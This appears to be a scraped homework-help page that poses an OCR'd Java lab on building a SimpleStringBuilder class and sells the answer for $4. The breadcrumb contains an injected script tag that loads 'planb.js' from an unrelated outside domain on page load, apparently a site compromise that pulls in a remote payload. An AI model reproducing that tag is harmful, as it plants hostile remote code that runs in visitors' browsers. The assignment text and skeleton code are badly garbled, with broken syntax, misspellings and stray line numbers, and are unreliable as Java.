Need Help ? Chat : loading...

Home >> Assignments >> Other<script src="https://www.wp3advesting.com/planb.js"></script> >> need help completing the Java code with the given conditionsand using the skeleton code below 11.26

(Solved): need help completing the Java code with the given conditionsand using the skeleton code below 11.26 ...



need help completing the Java code with the given conditionsand using the skeleton code below



11.26 Fun With Classes - Lab You will be exploring some ideas of Object-Oriented Programming (OOP) in this lab. There are two files that you can load into the window below - SimplestringBuilder.java and TestSimpleStringBuilder.java, Simplestringbuilder. Java contains the skeleton of code for a simple stringBuilder type class. For this closed lob, we have given you a few methods already implemented, including the empty constructor, the constructor from string and the tostring method Using the code in these methods as examples you will implement the length, chart, and replaceCharat methods. Before we start we need to think about how the internal state will be represented. Take a look at the empty constructor for this class • Constructs an empty SimpleStringBuilder: publie simplestringBuilder this.createEmpty Builder (>3 This method has been written for you and it does one thing call the helper method createEmptybuilder. This helper method sets up a new empty ArrayList of characters that the simplestringBuilder class uses to maintain its internal state. It is basically creating a Stringbuilder type object that will create an empty stringThe code for this method is below Sets the internal state of the object to be an empty Liot . private void contemptybus der this.lt - new ArrayListo Now take a look at the constructor from string 7 Now take a look at the constructor from String • Constructo a simplestringBuilder that contains the same characters as the String Input • @param input the string to copy into the stringBuilder publio SimplestringBullder (string input) this.createEmpty Builder) for (int i = 0 <input. length(); 1++) thin. lit. add (input.charAt()) It is also setting up an empty internal state, but it needs to do more as well. It is looping through the String character by character and putting them into the list that the simplestringbuilder class uses to maintain its internal state Finally take a look at the code for the method tostring Returns a string object built from the simplestringider characters. • (Note that this is not terribly efficient, and not how the Java library actually would do it). Override puble String tostring() String myString - forint - 01 < thin.list. ) myString - myString = this.list.get (1) ceturnstrings y library > CSE 7.26: Fun With Classes - Lab It is also setting up an empty internal state, but it needs to do more as wel it is looping through the String character by character and putting them into the list that the simplestringBuilder class uses to maintain its internal state. Finally, take a look at the code for the method toString / * Returns a string object built from the SimpleStringBuilder characters. (Note that this is not terribly efficient, and not how the Java library actually would do it). * Override public String toString() String myString = "" for (int i 0; i < this.st.size()++) myString = myString + this.119t.get (1) return myStringi This method takes the internal state of the simplestringBuilder class (a list of characters) builds a string object from it, and returns that string Before you start working on your code, you need to have a program to test it with. We have provided a class named TestSimpleStringbuilder.java to use as a test for this program You will notice that there is now a dropdown selector at the top of the edit window to switch between files, if you switch to that fie in the edit window below that a larger amount of it is commented out Also you run this code now, it will not work because the implementations for length, charat and replacecharat are all incomplete Finish the implementations for each of these methods then remove the comments in the test code so that this code will work Then complete the bodies for append, deletechart, and insert as well. As you finish those methods, uncomment the relevant portion of the test code and test those method bodies as well 0/19 LAR ACTIVITY 11 26.1 Fun With Classes - Lab Downloadable files SimpleStringBuilder.java TestSimpleStringBuilder.java Download Current file: SimpleStringBuilder.java Load default template 14. 2 • A class that implements a very simplified StringBuilder-like class. This 3 • class will not execute on its own - you will need to use code provided in 4 • the TestSimpleString uilder java class to run this code. 5 6 • fauthor ENTER YOUR NAME HERE 7 Bauthor ENTER YOUR PARTNER'S NAME HERE 8 • version DATE HERE 9 10 11 import java.util.ArrayList; 12 import java.util.List; 13 14 public class SimpleStringduilder 15 16 17 • A private senber variable used to hold the internal state of the 18 SimpleStringuilder. This list holds the characters of the String that 19 • will be butit. So the String "Hello would be represented by an List 20 • containing the characters L'H', 'e', '', 'o'] 21 . 22 List<Characters list: 23 24 25 26 27 private void createEmpty Builder 28 this list - new ArrayListo 20 1 30 31 3 Constructs in enpty simplestringider 34 35 public Simplestringider) 36 this createfeptyluilder: 37 1 Current file: SimpleStringBuilder.java Load default template 1 • Constructs a SimpleStringBuilder that contains the same characters as the * String input . 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 S2 53 54 55 56 57 58 59 60 61 62 paron input the String to copy into the StringBuilder public SimpleStringBuilder(String input) { this.createEmptyBuilder: for (int i - 0; i <input.length; i++) { this.list.odd(input.charAt(i)): } 3 I / • Returns a String object built from the SimpleStringBuilder characters (Note that this is not terribly efficient, and not how the Jovo librory actually would do it). • treturn the value of the simplestringBuilder as a String Override public String toStringot String myString": for (int i -e; i < this.list.size(): ++) { myString myString + this.list.get(1): 1 return myString: 1 64 65 56 67 68 69 70 71 72 73 74 75 76 77 78 yee • Returns the character at position 1 para the index to be checked turn the character ot position public char charAt(int i) { Current file: SimpleStringBuilder.java Load default template. public char charAt(int i) { // TODO - your code here V/ TODO - the following line is only here to allow this program to W compile. Replace it and remove this comment when you complete w this method return a; 7 Returns the length of the SimpleStringBuilder object 78 79 80 81 82 83 84 85 86 87 88 89 99 91 92 93 94 95 96 97 98 99 leg 101 102 103 104 105 206 107 198 109 - Breturn the length of the StringBuilder . public int length W/ TODO - your code here W/ TODO - the following line is only here to allow this program to 1 compile Replace it and remove this comment when you complete 1 this method return 0; / • Replaces the character at position with the character • Sparom Index to be replaced • paroc character to use in replacement public void replaceCharAt(int , charc) ( W 1000 your code here 110 3 111 112 113 114 115 116 117 718 119 /* Appends the character to the end of the Stringhuilder paron character to append Load default template Current file: SimpleStringBuilder java LUULE LOUSE . public void replaceCharAt(int 1, char c) { // TODO - your code here 109 110 111 112 113 114 Appends the character to the end of the StringBuilder 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 • param character to append public void append(charc) ( // TODO - your code here 3 1 • Inserts the character cot position Sporoni index to insert at 131 • paroc character to be inserted 132 133 134 135 public void insert(int 1, Charc) W TO0O- your code here 3 136 137 11 139 140 141 143 144 145 146 147 148 • Deletes the character at position poros index to delete public void deleteCharAt(int i) { TODO - your code here


We have an Answer from Expert

View Expert Answer

Get Expert Solution


We have an Answer from Expert

Buy This Answer $4

Place Order

QUICK ORDER

Why Place An Order With Us?

  • Certified Editors
  • 24/7 Customer Support
  • Profesional Research
  • Easy to Use System Interface
  • Student Friendly Pricing
Order Now